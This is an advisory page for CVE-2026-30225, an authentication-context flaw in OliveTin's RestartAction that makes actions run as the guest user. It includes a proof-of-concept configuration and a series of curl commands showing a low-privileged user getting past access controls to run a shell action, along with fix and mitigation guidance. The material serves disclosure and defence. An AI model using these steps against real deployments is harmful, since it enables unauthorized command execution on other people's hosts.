CVE-2026-30225 is a medium-severity (CVSS 5.3) CWE-250 vulnerability in github.com/OliveTin/OliveTin. A fix is available for github.com/OliveTin/OliveTin — see the affected versions and patch details below.
OliveTin: RestartAction always runs actions as guest
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-30225.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
github.com/OliveTin/OliveTinReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
An authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.
RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.
This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.
Details
Affected files:
service/internal/api/api.go
service/internal/auth/authcheck.go
Relevant code in RestartAction:
return api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{
Msg: &apiv1.StartActionRequest{
BindingId: execReqLogEntry.GetBindingId(),
UniqueTrackingId: req.Msg.ExecutionTrackingId,
},
})
Authentication in StartAction:
authenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)
Issue:
-
RestartAction creates a new connect.Request object.
-
The new request does not preserve caller headers or cookies.
-
UserFromApiCall() attempts to resolve the user from the request.
-
Because authentication headers are missing, it falls back to the guest user.
-
If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.
PoC
Configuration:
defaultPermissions:
exec: false
users:
- username: low
password: lowpass
permissions:
exec: false
- username: guest
permissions:
exec: true
actions:
- id: restart_bypass_action
shell: |
echo "pwned" > /tmp/olivetin_restart_bypass.txt
Steps to reproduce:
Login as low user
LOW_LOGIN=$(curl -sS -i -X POST \
http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \
-H 'Content-Type: application/json' \
-d '{"username":"low","password":"lowpass"}')
LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | \
awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')
Attempt direct execution (correctly blocked)
LOW_RUN=$(curl -sS -X POST \
http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d '{"actionId":"restart_bypass_action"}')
echo "$LOW_RUN"
This should return permission denied.
Extract executionTrackingId from response:
TRACKING_ID=$(printf '%s' "$LOW_RUN" | \
sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1)
echo "Tracking ID: $TRACKING_ID"
Call RestartAction:
curl -sS -X POST \
http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \
-H 'Content-Type: application/json' \
-H "Cookie: olivetin-sid-local=$LOW_SID" \
-d "{\"executionTrackingId\":\"$TRACKING_ID\"}"
Verify command executed:
cat /tmp/olivetin_restart_bypass.txt
Output:
pwned
Impact
- Privilege Escalation
- ACL Bypass
- Unauthorized Command Execution
Any authenticated low-privilege user can execute actions they are not authorized to run if:
- Guest has broader permissions
- RestartAction is enabled Because OliveTin actions execute system shell commands, this can lead to:
- Arbitrary file writes
- Sensitive data exposure
- Potential full host compromise (depending on OliveTin runtime privileges)
This affects all deployments where:
- guest.exec = true
- A restricted user has exec = false
- RestartAction endpoint is accessible
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/OliveTin/OliveTin | all versions | 0.0.0-20260305000458-cb46a597b246go get github.com/OliveTin/OliveTin@v0.0.0-20260305000458-cb46a597b246 |
Affected Products
olivetinolivetinDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/OliveTin/OliveTin, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update github.com/OliveTin/OliveTin to 0.0.0-20260305000458-cb46a597b246 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-30225 is resolved across your whole dependency graph.
Workarounds
Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.
Frequently Asked Questions
Is CVE-2026-30225 in your dependencies?
Find it across Go, including transitive dependencies.